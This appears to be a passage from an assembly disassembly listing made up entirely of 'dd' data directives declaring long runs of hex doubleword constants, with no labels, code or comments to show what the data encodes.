		dd 967F5F94h, 0BCED9500h, 37882741h, 460809FBh,	857C2E93h
		dd 4496DF00h, 60683BC5h, 0EEF36041h, 0E500F15Ah, 0B543505Fh
		dd 2E0859BCh, 12066C44h, 0E6344035h, 86C3EB31h,	38C6E330h
		dd 781015h, 0E7E0FB22h,	0B29B25B1h, 8DC16000h, 3EC194Dh
		dd 5B34283Eh, 7A1D1CB0h, 101404DBh, 17D140C6h, 3CA6A072h
		dd 70804898h, 0E26DA899h, 0B0FE44BBh, 3CDE8724h, 77355402h
		dd 64B280EFh, 724E2A04h, 0EBAB3E36h, 0C04D459Ch, 47834C5Eh
		dd 3373C911h, 58A0B600h, 7C59D9D8h, 44256D4h, 5C5502A1h
		dd 0FA5CB10Ch, 0FF044350h, 0C2D70AC0h, 6A7407DDh, 0E418C963h
		dd 0A9DB9Dh, 56143F20h,	863ED342h, 66707B07h, 471F2E25h
		dd 0C890BF60h, 0E865EC7Fh, 717F81h, 4B3ADEB9h, 0BE20AFF1h
		dd 0CD95B607h, 15A06D9Dh, 0FDA881h, 0EC864F08h,	0B15EBDB7h
		dd 3978B267h, 0B83A8223h, 0E00D9124h, 0A842006Ah, 0BEF1E290h
		dd 6B304907h, 55FC20A9h, 345E14BBh, 93E120A8h, 151853h
		dd 0FDA383BBh, 7D46FAB4h, 84FC3C28h, 975A8D07h,	24C0CBD1h
		dd 0E2FFD2BBh, 0D938C639h, 0A17B30FEh, 9519DE00h, 0BF819C1Ch
		dd 1A9F05Ah, 29C9C574h,	8C25F42Ah, 59211950h, 59E6074Eh
		dd 0EE83F39Bh, 0A8466AE3h, 50879381h, 71ABAFC0h, 7B5B1404h
		dd 1FB09Bh, 35778AAh, 0CC008E45h, 0A790A07Dh, 30DD24A9h
		dd 0D3901B4Ah, 0FF00993Ch, 376F78C2h, 1CD647h, 88BAB8A6h
		dd 0E0D1ECEBh, 0D318500h, 59192E72h, 78BE3D2Fh,	0A9C11281h
		dd 3163A7D8h, 121ECBF1h, 2A4A4C93h, 8E4034B8h, 1E9C281h
		dd 3599943Dh, 0E42458D3h, 4C7D85B3h, 4E656A00h,	1620259Bh
		dd 86A801BBh, 9A46F28Eh, 9084503Fh, 5805259Fh, 16A8F8D4h
		dd 3F00D85Fh, 6492749Bh, 0C0E721Bh, 56E92CEEh, 5492B6A8h
		dd 423EDEF0h, 226F877Ch, 0E387E1EEh, 0E503687Ah, 0B0A086h
		dd 7ED5F331h, 99F2F423h, 405A2D00h, 174AA5E0h, 0EFEC58h
		dd 0FD459AABh, 829C63Fh, 4B2C0676h, 990FB8DAh, 68C0BF67h
		dd 71C4C7CCh, 1639183Ah, 87A7C92Fh, 0B641A309h,	13120066h
		dd 1F4EBC0Dh, 264731Bh,	37364CF2h, 40D14441h, 0B1E227A4h
		dd 0E4402E65h, 7E4E5440h, 1C855A1Ch, 0A641D47h,	406CE159h
		dd 0F009847Fh, 91EBF705h, 5C42B68Fh, 48AB3006h,	53C164h
		dd 0F379E2DDh, 0F8258428h, 0A828077Ch, 0C430C489h, 596F81AFh
		dd 24F90069h, 55CE2916h, 96042B91h, 9FBC35CAh, 5A59A080h
		dd 36B8C4A9h, 350342A5h, 79DF2253h, 743B0C48h, 0B2B04501h
		dd 0AE54997Ah, 0C57DD0h, 0ADBA6EC7h, 160C4368h,	6DC63406h
		dd 0B1D95Dh, 703DA7A1h,	622CF5Eh, 0E17D78E6h, 6C816800h
		dd 0ED98C109h, 0E25F0CFEh, 0B3794995h, 4048E600h, 0DA8921ABh
		dd 98BE2EB4h, 0C0171F9Eh, 845CDB87h, 7B24452Bh,	9042EC7Fh
		dd 0F8894A3h, 834D9AE9h, 0BCBD9423h, 80245FC1h,	58ABC331h
		dd 26491C11h, 3A4EE003h, 8551E80h, 2D88B787h, 0DD843C91h
		dd 0C0EB2805h, 51AFFF71h, 0C142D803h, 15414903h, 987CD2B9h
		dd 6F25A203h, 0E0A7E306h, 0B2824835h, 0CC4B9600h, 0EF22BB5Eh
		dd 0F453011Dh, 4F7929C8h, 28C050ACh, 5F00548Eh,	0C5C1391Eh
		dd 3E82ED08h, 0CA01067Fh, 0BF4C9019h, 277C3034h, 0A60E403Bh
		dd 0F0C044FAh, 2946CB02h, 40888583h, 71A07CD0h,	5CFC5050h
		dd 13912100h, 0A3B4BDDCh, 0BCC94C2Dh, 0A0B3EC50h, 2A504694h
		dd 0CB0852Fh, 0DC8C20D4h, 6121220h, 0DC4252AAh,	48B37F46h
		dd 706811F4h, 10092D9h,	46877C8Ch, 0F0696EB1h, 0A60E654Fh
		dd 6E039EC8h, 498D812Ch, 9C22A239h, 3E1D9D11h, 54CD00FEh
		dd 72BBFA8h, 0EA7301C3h, 0F3BBC502h, 0AC29C057h, 7B67F113h
		dd 3990F030h, 0BF512694h
		dd 5EDD0240h, 48814020h, 0C52A1AE9h, 0DC118CFFh, 0F4B9C8h
		dd 0EAC5897Dh, 28E1D6D8h, 15215B00h, 1BB426E9h,	1AA70248h
		dd 0C1EBA4A9h, 0C7EAD460h, 8878B840h, 0F00F066h, 5282BFE2h
		dd 0FD4B30h, 86D7CF9Eh,	503923E1h, 24A1722Ch, 0F4004824h
		dd 0F530BE1Bh, 7AAC2649h, 52805E6h, 0F9B42125h,	10A1E106h
		dd 1C0987D0h, 4CAB3CDDh, 78193EFFh, 81569700h, 0DC9398F2h
		dd 7B4F7CB7h, 96DB010Bh, 33037869h, 242C3682h, 7F709885h
		dd 0B25DE6A0h, 0FDA12040h, 0E51C8307h, 12A77DB8h, 480CD942h
		dd 6132033Ch, 0E922A18Fh, 0E7EE8C8h, 793A8CA0h,	0CC3D7C2Ah
		dd 0A483BE18h, 0B9454651h, 309004Ch, 29315A4Ah,	0CC88AAB0h
		dd 0E4A08D89h, 0C783D191h, 4FF52B60h, 0D6450E12h, 40523403h
		dd 0BE211C14h, 6CB09E88h, 68D3E12Ch, 48F57C40h,	0B3C93F24h
		dd 0E0AC9007h, 7E666050h, 60020FD9h, 2DC75851h,	8354E277h
		dd 0F69D18h, 93DB9159h,	0BF743F0Dh, 674C011Ch, 95510FFEh
		dd 4ED96715h, 0A0D57991h, 6AADD980h, 2B5C7CABh,	27E2739h
		dd 7DA695ACh, 58F86CDCh, 0B302CC74h, 0A743F9E1h, 8700A444h
		dd 0A3267DAFh, 0A08ED154h, 980285D8h, 7C0618ACh, 19C1293Ah
		dd 4BAC3754h, 63EECD1Fh, 1D7117C4h, 7F3DB7C0h, 7069598Fh
		dd 0B0909089h, 0EA0954C8h, 14AD614h, 9523BEFDh,	2C438AE8h
		dd 10E88D61h, 28209E9Eh, 4D90FECBh, 74828CE2h, 44351Eh
		dd 0EE05967Bh, 5EAD643Eh, 59BFC88h, 0BBBA5FF0h,	6C89844h
		dd 9C399668h, 10A38209h, 17265CA8h, 496787D6h, 4413E098h
		dd 0F7EC5590h, 0B15C5605h, 6480C115h, 93B8DDEAh, 17DB0058h
		dd 712BB364h, 4876F726h, 85612960h, 0AA0F60DBh,	9E220A2Ah
		dd 0E9A2890Ah, 53056C2Bh, 848B3B03h, 0EF523900h, 738A6DF4h
		dd 4FA6921Dh, 620B2F40h, 94D9EDCBh, 7C51800Ch, 50F2833Ch
		dd 0CCCA2A00h, 65664A88h, 0C83E003Ah, 353D099Bh, 98508F38h
		dd 1345DDF4h, 60F8D4A6h, 99BA2D10h, 3CF06026h, 0B2104651h
		dd 210FDC91h, 205F9CD4h, 4FEA619Dh, 0A77C0EF0h,	0AE063199h
		dd 0B4A1D129h, 86031009h, 5AC4A8FDh, 28E005D6h,	0CCE1CA2Eh
		dd 781B5E60h, 1EB8CCC0h, 0F267029Ch, 0E0A03780h, 9556BE71h
		dd 6BE6D8F8h, 0D3F7C400h, 30ECE955h, 329E24A7h,	8814E51Ch
		dd 0C2008C58h, 52B24F69h, 0D2D133h, 2F895AA0h, 1E41EF08h
		dd 841C6849h, 5CCDA9FCh, 544034C1h, 0B2B5D95Ah,	0E2620224h
		dd 9A56CA04h, 4E2B1EE0h, 8CAEDF1Dh, 0D5C5D800h,	132128EAh
		dd 42136E6Dh, 0F97B661Ch, 2F846C68h, 1687960Ch,	0DFA92Ch
		dd 20C1E7E2h, 4E9EDA61h, 81583007h, 0F330E9E1h,	1825801Dh
		dd 98F8D0A8h, 0DF8828B7h, 0BCD4A87Fh, 497C1F21h, 567A429Ch
		dd 0D85002A4h, 0AA972C1Ch, 423C690Eh, 402F995Bh, 74302116h
		dd 0F05C00BAh, 750186B7h, 0C21CBC08h, 1C59A3E2h, 35E45B34h
		dd 0FFD83B13h, 0C7DF409Dh, 1050A9FEh, 601C2F1h,	9D590A60h
		dd 1EC45184h, 3E2E5F89h, 940219FCh, 70E62103h, 6D1E258Eh
		dd 7158C6F8h, 3298158h,	17DD50A8h, 3800531Ah, 1C9E76EEh
		dd 645E59h, 69C60323h, 0EADA84ACh, 0F19ED01h, 5B6C0AD8h
		dd 9C936980h, 87CCADB9h, 40B910Ch, 0E1C06Eh, 2BD5708h
		dd 0E3CBB748h, 0D8387CF0h, 2EC4004Ah, 386199DBh, 9F7CA08Eh
		dd 5B680397h, 30AA1F18h, 4F0480B7h, 0A6B02329h,	58164B01h
		dd 90211072h, 44E3F194h, 8E52A80Eh, 80705C46h, 59D0215h
		dd 76B70180h, 8A4C1380h, 0ECB58443h, 52756403h,	1DDC4000h
		dd 347DF37Fh, 37381DF5h, 0AD807FA7h, 762D2235h,	0D72BA6CFh
		dd 890A9C0Ch, 0BB40B844h, 24D1F94h, 84E7A0FDh, 0E4A01EA3h
		dd 8C5F2C36h, 26C53E01h, 4D5E790Ch, 665F5F4h, 0B4C0208h
		dd 57F68938h, 0B9C0D377h, 0CB9C3D3Ah, 0FB17E1Eh, 240879A7h
		dd 1A3829Eh, 988F8E09h,	43380702h, 0B0307CBAh, 0D6159BAFh
		dd 0D00211h, 956A5B87h,	52B50Ch, 77371B27h, 1E7D7453h
		dd 0FE04DFE8h, 6B509DFDh, 7D566088h, 0C58202E9h, 24D6107Fh
		dd 12BEFC8Fh, 7434416Ah, 0F87E6095h, 0BD011ABBh, 918E7001h
		dd 9C300268h, 0E6E8C1B9h, 0C26FD0C6h, 58B11600h, 0A6A2004Bh
		dd 0E94A7284h, 0B4A4DFE3h, 0C7F14C06h, 389A5DCh, 16449B9Fh
		dd 0D4888514h, 840001C6h, 0FE9E6C3Ah, 0A6779CC5h, 966A0094h
		dd 8DBD7914h, 10E8891h,	0A2C5772Bh, 4089D96Dh, 0E16C7424h
		dd 4CFF8C50h, 9D751E19h, 0F4D333h, 0DE6187BEh, 0AB0A0AD1h
		dd 88E51701h, 20101589h, 4CC4949Ch, 3C877A76h, 0F9801773h
		dd 70EA56E2h, 68A6EEA9h, 78937901h, 6C11FCC7h, 5400A026h
		dd 185CD880h, 743159BDh, 55E0A0C8h, 0F4DA9D70h,	14531292h
		dd 5C1840E8h, 8B34A6D8h, 94877701h, 0FCCEDF6Bh,	6893DC51h
		dd 0B0ADB300h, 578A280Fh, 0C1018C20h, 0B56400EEh, 44B9196Ah
		dd 0E55748D3h, 360D12BCh, 0B41F1820h, 0A7CC0012h, 347E7207h
		dd 0E4004878h, 0B741D0ACh, 3ECDDDF8h, 4781EDBBh, 367224DBh
		dd 7707D06Fh, 808E90C8h, 0CB3959D9h, 0A900A393h, 1976AA5Eh
		dd 3BE4E0C8h, 7F03DDC4h, 0C0694E08h, 4A48E907h,	9A84C2D5h
		dd 5C71B080h, 0DACC0610h, 598D6C73h, 0D85CA00h,	52B0A1E1h
		dd 5DF41646h, 84E702FDh, 446F0BBh, 236C0B50h, 3CC91D00h
		dd 39DA0196h, 7B11FE2Eh, 5138009Bh, 0C628E641h,	1518CB57h
		dd 8991F3B7h, 0C00A4C01h, 8560988Fh, 0A661B474h, 314F648h
		dd 0ED155CAFh, 847006FAh, 0A9889401h, 0A89650Eh, 29572E2Eh
		dd 0C70019E5h, 50461ACEh, 0A574EC00h, 6786BB27h, 76B30026h
		dd 1F468704h, 1614F4A9h, 1BB80ABEh, 92A674C2h, 3DC4475h
		dd 5955BB3Fh, 26D35032h, 4C4A39B9h, 9400B258h, 96A50668h
		dd 9945C6E4h, 72003E60h, 26ACB38Bh, 5D549384h, 0BC2C6A6Ch
		dd 3880348Ah, 0DE27301Fh, 1EBECDAh, 0A8AA93ECh,	0EAC6EA40h
		dd 0BB00F844h, 94233B14h, 24E28517h, 6ED87E53h,	651872Ch
		dd 4ACA1D07h, 64C0B614h, 532DB0FAh, 9D099039h, 7CA15111h
		dd 0C025EB03h, 0A105C121h, 26C287Ch, 24368040h,	0EC6496h
		dd 0E9579B97h, 0E66BCB56h, 0A7D421C0h, 0EAA3FA8Bh, 0BA3A0020h
		dd 8A82AF62h, 24006D32h, 4D3F28F7h, 4C0E6181h, 898A04F5h
		dd 777996E8h, 51DC5A8h,	0F06024Ch, 0E4A17A14h, 31E92B84h
		dd 0C5FC0CC8h, 9014812Ah, 0C6E0010Eh, 0FCBD6211h, 5C4C2Dh
		dd 0E46F2488h, 0D094B4E2h, 0A6165CF0h, 8844839Bh, 6C40532Ah
		dd 293A14F2h, 0BB91BC13h, 0D2F8D804h, 18B5600h,	99C0949Dh
		dd 9C1CE498h, 24C50A6Ch, 0F46AE0h, 0D94CBBEBh, 4A240B6Bh
		dd 0BC86980Ch, 0E6389149h, 0D29C026Fh, 5D5A7C87h, 43A84F40h
		dd 9DB7261Ch, 0EC7B408Ah, 0F093A2C5h, 7CB3C0AEh, 0C51E001Ch
		dd 0E3F1DB08h, 0D3992F5h, 0C05CCC20h, 0CB34AADDh, 72C41476h
		dd 0BBCB849Fh, 57060094h, 26CE14F3h, 75881EF0h,	0AC213A2h
		dd 80F49910h, 28C54978h, 2200C386h, 6163AF1h, 73A5BEC1h
		dd 7DA62B25h, 20129694h, 9B1E3798h, 0B8634900h,	80F37DC4h
		dd 13C900ECh, 7C9103FAh, 0B503683Dh, 0EA2B24B2h, 969903CCh
		dd 37D3E470h, 0B1E8FCE0h, 0E55B0D00h, 0F65AEECDh, 9AFEE57h
		dd 64747363h, 109798B9h, 0FCC16985h, 5C0B07F4h,	906EA0C0h
		dd 22E07995h, 0C7095F05h, 90329EF9h, 0A66701C0h, 90A90052h
		dd 0CB50002Dh, 8B0F1282h, 210007F8h, 0B6BB83DDh, 90F77E61h
		dd 0E8A3486Ch, 9BEA6F81h
		dd 0A1DAC0FCh, 2209D9F1h, 0BC5D17FCh, 0BFF0D820h, 0FDFF01Dh
		dd 75FFA8D6h, 73A480A0h, 20027AB9h, 0BC645A78h,	7C704816h
		dd 0EFAC00E1h, 0FA2DF427h, 0B90F78D0h, 20D33BF2h, 0B31BEB55h
		dd 3ED1D38h, 67D1847Ch,	0B56C9114h, 3550D80Dh, 11B19D07h
		dd 0DFE06EEBh, 39BA78F2h, 71B3C27Bh, 32F0E969h,	900B2DA8h
		dd 0B098492Eh, 58F2010Ch, 0A58AE4E1h, 40B79D94h, 44296156h
		dd 49005819h, 3BBCD385h, 5C138FFDh, 0F92A83Fh, 9FC0D298h
		dd 7E4859E0h, 7170BA09h, 56BC0293h, 0D288002Fh,	12260EFDh
		dd 0F7800858h, 5FFAB526h, 5DC617EBh, 9D9408B4h,	16F2560h
		dd 0B90C8053h, 0C06F2089h, 80FD5C4Fh, 0BAC82200h, 296017C7h
		dd 4347409h, 0B4656795h, 5DD0CC5Fh, 1C56C4Ch, 89F525C0h
		dd 0E4250A37h, 97D4C80Dh, 7E6C0757h, 0E00D9CE9h, 48ECF24h
		dd 0CA02BFEEh, 9EC4B5ACh, 54CCE6h, 0FFBC7FB2h, 0C31F1235h
		dd 0D0A5B0B0h, 8D7E892h, 0D0409490h, 0F9BC001Ah, 8E74C048h
		dd 48A21E1Dh, 0A6832893h, 927CDFE0h, 75149400h,	0C0083E82h
		dd 9057F4E1h, 0C3E00116h, 0C480A25h, 7C48A458h,	0B05E5742h
		dd 499D0280h, 547CA49Eh, 1F03F4D2h, 0C0A7C5AFh,	7BB2EB65h
		dd 54B019FAh, 3D57D211h, 0A04BB902h, 14480B6Ah,	3A0024A8h
		dd 37E2847h, 7C01A1h, 0AEB3B8B7h, 0EAF15359h, 58958F02h
		dd 0A572C3CCh, 388261B0h, 80EC4668h, 0BE1D228h,	0E8DE8B2Dh
		dd 0FE019FD0h, 23D0BBE7h, 5876EFE6h, 6FB910h, 53411952h
		dd 0E89BF5Ah, 0DF8DC999h, 7E4E0420h, 0F112A871h, 4049BE14h
		dd 0CA68B1C7h, 928D38E0h, 84162EF0h, 0BB8940B0h, 68781F75h
		dd 7E0BEFEAh, 8ED12B47h, 0E2D78074h, 0A49C7B34h, 0BD151464h
		dd 750B20A4h, 0B494EA4Ah, 8938804h, 8808B44h, 91DAA5CBh
		dd 0C5011ED0h, 0D1E82E61h, 50906C40h, 0B95D8FD4h, 0A5B64400h
		dd 7622601Bh, 6A2FE96h,	19A43A0h, 2F2E98ACh, 84E14889h
		dd 801487A3h, 0A16FADEEh, 1001E92h, 523A40D8h, 0A27DC3EEh
		dd 158806D8h, 5420091h,	9C5090AEh, 4C92030Ch, 0C8D42100h
		dd 0FC352034h, 97A007BAh, 0E317BDB2h, 80B43766h, 8E77F58Ch
		dd 0A6972E80h, 0DCC52E80h, 886C45A4h, 2D0E466Ch, 402167BCh
		dd 0D3D6E55Ah, 590B138h, 40741479h, 5D3A23ACh, 1376622Fh
		dd 7B072F8h, 0C5099800h, 9D10249Fh, 8B4624AAh, 4F1E0888h
		dd 8E09743Dh, 3084E62Ah, 248B4900h, 59FC4ADh, 0D58C88h
		dd 4DAEEDFCh, 0B124015h, 0A44AC63Dh, 0B10048BCh, 0EB857853h
		dd 511E00B4h, 5318F84h,	0B6164B8Ah, 401B1689h, 7BA1BFB1h
		dd 11A8D361h, 0EFD409E5h, 90896436h, 0D3B2C018h, 0B54F7A05h
		dd 40C09D8Dh, 9884E20Eh, 5C82172Ch, 8CC31393h, 91404910h
		dd 707C2Fh, 46E8C09Eh, 0BE3F2AEBh, 623B2800h, 7B25B0D6h
		dd 4C80BA71h, 29FC4C6h,	26465A27h, 41CF5C60h, 439B14Ch
		dd 85FE865Dh, 990D949Ch, 908A0F5Ch, 0D92F2143h,	8E7CE088h
		dd 0FA68EB00h, 0A3F0ABBFh, 0BACB03EAh, 0E2614138h, 9D01F975h
		dd 0AF8D6E56h, 2FF43596h, 0C2E09CB4h, 842F88F2h, 6A40596Ch
		dd 7A295F3Fh, 46A2E600h, 768F4DDFh, 294C9050h, 6CCD0C6h
		dd 71C88116h, 93300C58h, 402CE100h, 50D6E403h, 0A40C11h
		dd 73430A66h, 36618A99h, 0A30C6494h, 835188h, 0DEE2B430h
		dd 0B3920471h, 595C0301h, 0D83B1DBDh, 9CEA96D4h, 0B494110h
		dd 4CC072E9h, 1C5D0334h, 0E5E69803h, 91676B82h,	0E4706F88h
		dd 4307D0Ah, 0EAFAC2BEh, 9828DC2Fh, 531B6A10h, 2E55407h
		dd 8613A09Eh, 0FF21D93h, 824D18E0h, 0D2C58230h,	0D0F84B8Bh
		dd 3CC633BCh, 0B40A9E20h, 40B09A6Ch, 9054C38Ch,	0EA452B00h
		dd 24DC5C04h, 70183F02h, 0BB0018C8h, 0B4969C44h, 0C5075E15h
		dd 74EC4DBh, 0AE940C87h, 0D6C42497h, 301018C9h,	0A6375Ch
		dd 0A9D6336h, 0D51F1C9h, 0CF004CECh, 9985C889h,	4E1888Bh
		dd 0C1652A3h, 5510A07Ah, 0C03C1948h, 17018A5Fh,	1559C492h
		dd 4080E4C9h, 80B15A38h, 98F0C7E5h, 62C854h, 4B3545B0h
		dd 0FEA9C1ACh, 7100FD73h, 0C9AB92FFh, 0BB5612h,	0F90347F2h
		dd 2D05B41Eh, 84849D5Dh, 0D8D895AFh, 42940EB0h,	703F6C8Fh
		dd 13F02889h, 85F81C13h, 4C77E400h, 504882DFh, 2D7DDC9Dh
		dd 7880E23Ah, 54FE9C90h, 7E3D6D04h, 0A490016Ch,	0E70DE4h
		dd 68164FE8h, 0C410640h, 0F3167DF4h, 2C61558Fh,	0C611BF16h
		dd 2D1862D6h, 16818E5h,	0A1966025h, 7444D3E6h, 64408C9Eh
		dd 2AB38FEh, 1ADE63E1h,	64D1C235h, 2BFC7400h, 1C5073DBh
		dd 34227BBh, 788128F1h,	0EAF809C5h, 0C8F21C98h,	0FD4E0105h
		dd 9480C541h, 13E596F3h, 254689DDh, 6ABC9C98h, 804CBC48h
		dd 9DAD45DEh, 4F4D0090h, 47AC325Dh, 0F80F2E5Ah,	2158D43h
		dd 59774556h, 3A4AAC98h, 263BE407h, 0AC14EB0Eh,	0A975E8E2h
		dd 0F14FD809h, 5288585h, 0F44808E6h, 12B65306h,	3E20D935h
		dd 0C0B4C26h, 0E1075C80h, 0EC9C61A0h, 0EEF002C3h, 5C3DE851h
		dd 0EEA0D41Dh, 9E0E70A3h, 60529DC3h, 0F93BC8AAh, 3DFC4878h
		dd 0F860ED00h, 0EEC4E33Ch, 1F52A009h, 0BEC8E31h, 9B84A2Bh
		dd 116C2BA8h, 83D7498h,	0E8808B88h, 803251F2h, 4D9E07A0h
		dd 0E3C52BDBh, 80D5F949h, 0AA9C0828h, 0CBBA3014h, 7824A098h
		dd 0C8181C1Ah, 40E15216h, 0D17EFC14h, 0B4266730h, 5C1198E6h
		dd 5A1ABC07h, 0E08E101h, 8413C0DBh, 21C85Ah, 0C41405F0h
		dd 72B044B4h, 30D0532Fh, 38E1DFDh, 776206E1h, 5A02FE23h
		dd 0F9CA4389h, 0B6EC78EDh, 14E26F2Ch, 2E005310h, 0E2BB9D3h
		dd 0A6E13384h, 16242160h, 2A00EC1Fh, 0DD428A58h, 0B7E24Ah
		dd 1953C68Eh, 753EE952h, 0B9665F00h, 6BB2EF51h,	8E5B3DC5h
		dd 0BBE4444Eh, 0C344A46Ch, 1D211003h, 0D8A54382h, 0E17E03Ch
		dd 0CBAC532Dh, 7C90E57Fh, 64B49B01h, 15B13647h,	8C68C90Ch
		dd 6FF10BB0h, 83922117h, 49C65000h, 84E80Ch, 0E2652B7Dh
		dd 30136FBFh, 0A905F5F6h, 0BAF861AAh, 93F483h, 0B7022010h
		dd 12457B26h, 4AEFF1Dh,	8EA3BB80h, 662910h, 401B15FBh
		dd 0DDA7D54Ch, 0A13CF418h, 71D7A908h, 2BB500B3h, 4CC889Ch
		dd 101AC83h, 0D5C1A769h, 28804724h, 3023FAAAh, 0AE07DDA4h
		dd 3C98E1B6h, 1BA7053h,	0C2FE96AAh, 0DCA384A9h,	61CABB54h
		dd 0E20F5C35h, 6FC10071h, 4B4D07h, 3A9DDFECh, 0A610B37Eh
		dd 3B819814h, 0EC007E1Ch, 0BFE64922h, 1FEE7Bh, 0C73EF0Ah
		dd 0CE42CF3Eh, 0EA8E801h, 5F94D228h, 0A7607DE5h, 2B0F0145h
		dd 6BB09CEAh, 174403Bh,	21004734h, 6FFB58ACh, 348D5C3h
		dd 0CE8A1C2Bh, 29030E3Bh, 397FAB81h, 55479856h,	10450030h
		dd 0BCEB5FE6h, 1AE8CCF1h, 0ACE84314h, 4AD5CEB4h, 2A8394E2h
		dd 0B26A24h, 31628A51h,	3A6C0D94h, 0E6191300h, 0D8F6429Dh
		dd 0DEBF03FBh, 3EB7AE3h, 6C1E41FEh, 0F1C0C522h,	8E688F3Dh
		dd 97B900ECh, 0A31E48C4h, 3778CE77h, 0D829D515h, 0EA1A00E8h
		dd 21FC5538h, 465D1F79h, 664AC1A4h, 0FC39BE16h,	61C05E03h
		dd 0E84E7899h, 0DDAE012Ah, 0F230BC61h, 0BD58BA4Bh, 0D49690A1h
		dd 0A83B3073h, 0EE4F98C9h, 8AD6AB1Fh, 0DC110CE4h, 0BA714307h
		dd 13DAF23Fh, 0EF01404Ch, 546B12A7h, 21709065h,	0A8B0078Ah
		dd 60D70CBCh, 8211BBA2h, 870968C8h, 4C16341h, 5CD880CFh
		dd 810FA855h, 0A3C26540h, 0A843AB27h, 0AC7DF779h, 869090A0h
		dd 0D7100290h, 6A145F34h
		dd 9612E9C0h, 0D4D53Dh,	13C1D631h, 0C07BFA08h, 7301DDC0h
		dd 3C000733h, 8D290268h, 0FCF225h, 0D905E3E2h, 0C523D2FAh
		dd 0A6B72712h, 0B4B27004h, 0A4AC2124h, 0DC1BC462h, 7628611Dh
		dd 594245C0h, 16DCE9Eh,	5737D9Ch, 5352EF29h, 3398F4B0h
		dd 9912EB4Bh, 1C1113A0h, 47222Ch, 0AD5EDB45h, 36B19DAFh
		dd 0FC0A237Eh, 80F71E66h, 0F5DA9061h, 0A673D180h, 0F31732EFh
		dd 0D52248h, 21CE9205h,	1081CA9h, 0AF3ABE20h, 880F01D0h
		dd 80B2ADD0h, 843B408Ah, 7F60DAA1h, 0FAA5D151h,	2F2C1864h
		dd 289128A4h, 14211F01h, 953747B2h, 0D5CCB1E7h,	0E8D1ACF0h
		dd 0C1A26127h, 81334E40h, 0C5D03439h, 0A445B51Bh, 8924D203h
		dd 90B9F3EEh, 0A01E672Bh, 5064B444h, 0B8994C3Bh, 0F2DC010Eh
		dd 1BA34787h, 3CB04A63h, 0C38B00C5h, 99D1A5FBh,	0B9C7097Ah
		dd 5CA728FAh, 801CE45Fh, 0A979EBC2h, 9F7E513h, 89982900h
		dd 24AD152Eh, 6024C1FDh, 2BD58CA8h, 89B8B030h, 2648BA91h
		dd 911C1FD3h, 90D507A6h, 0E0205995h, 13D7B3EDh,	601EBAF1h
		dd 39D53F14h, 0E7D3D44h, 8878893Bh, 0A705B3C7h,	4204AD4Dh
		dd 602EAD88h, 14FEEBA2h, 96770043h, 325E7518h, 2714F716h
		dd 0C29808B0h, 20A89255h, 9B9EB3DAh, 4817500h, 95D00819h
		dd 0D8AB6964h, 0F5285802h, 320C8509h, 89ACD042h, 780C44AEh
		dd 0D8FA049Ch, 0D05E6649h, 20C0A124h, 0DB29A8A8h, 0D41D6492h
		dd 2B00E94Ch, 0EEDFBE8Dh, 0EC59282Ch, 37C7FECh,	29B5E6B1h
		dd 3007B3D9h, 94FF1443h, 283D077Eh, 9D4B9250h, 901B0018h
		dd 6F5BF502h, 5309BCD1h, 1BAA14B8h, 6AB2A088h, 0E106009Ah
		dd 216863DAh, 0A421EF0Eh, 8A188F6h, 2D565540h, 50477F6Dh
		dd 41EB0B9h, 2CDBE57Ch,	3B09C101h, 0F99C50BAh, 1B02C786h
		dd 4DFD393Eh, 6BDC80C1h, 2CDDC2A4h, 608412DCh, 0B818F047h
		dd 0D7CAA0Fh, 34A65C6Eh, 6200B8A0h, 6F4F3684h, 50D08A74h
		dd 4152A469h, 1EF034B9h, 0A379AA60h, 12346790h,	22734008h
		dd 0A44CD6B4h, 2A124542h, 0B09C7125h, 2F3501E2h, 5BE9F980h
		dd 0E75269Bh, 0D069663Eh, 7D3C658Ch, 0B23F00AEh, 2DE492ADh
		dd 0A0BC0FD2h, 904E7FB5h, 50904EA9h, 0C967D5D6h, 0B08A2581h
		dd 2A628460h, 0C071031Bh, 76AC82C8h, 0C01417C3h, 5820D6FFh
		dd 3A9BE020h, 786600D2h, 517D848h, 48993547h, 391530A6h
		dd 4874287Ch, 0D0193813h, 80B50C08h, 5F020961h,	35006056h
		dd 0E37B11AAh, 757CC81Dh, 389229h, 0A19F6F6Bh, 0C4AEE817h
		dd 522A110Eh, 655EC349h, 0C8C57Eh, 3747C64h, 973C9ABBh
		dd 5A8E1A5h, 7C00C94Bh,	54B3DB1Eh, 1385AFFBh, 413E282h
		dd 4B74F68h, 7C98ED55h,	0B11A3029h, 0CD988B58h,	5E00C070h
		dd 75BF87CAh, 5F24C3h, 3CF9217Bh, 34991BABh, 9F78A470h
		dd 0E92608C0h, 0FAF4753Dh, 0B2D400D3h, 1DA734DEh, 770FB07Bh
		dd 602E409Ah, 9BA4AD25h, 201CA012h, 8DFA9h, 98772C2Fh
		dd 48746B1Eh, 3C7C8400h, 93071620h, 45390AA9h, 0A04B2Fh
		dd 27A5F003h, 8D00B71Fh, 784E70E9h, 38990E9Eh, 17006E6Fh
		dd 650133D4h, 94183E41h, 0AB6950B4h, 8008D87Dh,	77FCB08Bh
		dd 0AEA6A006h, 0D93B19h, 572EEA1h, 556C53BAh, 20142300h
		dd 4AC15DF2h, 1CD518B4h, 0F5A65151h, 0FBD0F800h, 0D0AAE7Ah
		dd 0ECE30160h, 6F2FA862h, 75A5E06Ah, 0B97DBB39h, 6E368089h
		dd 0C8DD7317h, 0A3C90E5Bh, 0FB0FE9Eh, 2046AC3Ah, 0A4C1BA23h
		dd 0FA8E00EFh, 98F8EE99h, 0FE002980h, 46AD36E3h, 0A83A9E3Eh
		dd 381A5FA4h, 6F3E63DFh, 94ADB11Dh, 0D7299E7Dh,	0F08A9984h
		dd 5EBCC8A4h, 9E44C1C0h, 0C47377A0h, 6FDBF0h, 0F530E2AFh
		dd 3E5402E1h, 0CD293968h, 6AE5E0A7h, 50AF83A0h,	12E869A2h
		dd 0E977AE65h, 2075C600h, 376D0D52h, 0D5D30071h, 50B611Dh
		dd 0D83017BDh, 0ABFD499Ch, 29B624BEh, 63AF07D6h, 608170A2h
		dd 3000A324h, 476F28FFh, 3A75A69Eh, 1CC8CB46h, 68418280h
		dd 8F1F4350h, 7A0FDBh, 0DEB3061Dh, 442B071h, 4FA09B56h
		dd 46349258h, 0ACCA2E20h, 5E5F0016h, 864E0CB9h,	640E9909h
		dd 20DF8FC3h, 0FE30B041h, 0B64F0D0Ah, 480A78DEh, 0B6B8473Ch
		dd 51D63935h, 37BE6804h, 7E401841h, 41B3F4BAh, 0DBF9230Ch
		dd 85F1B5h, 0C7F5031Ch,	8AB51F8h, 74389549h, 50A02D24h
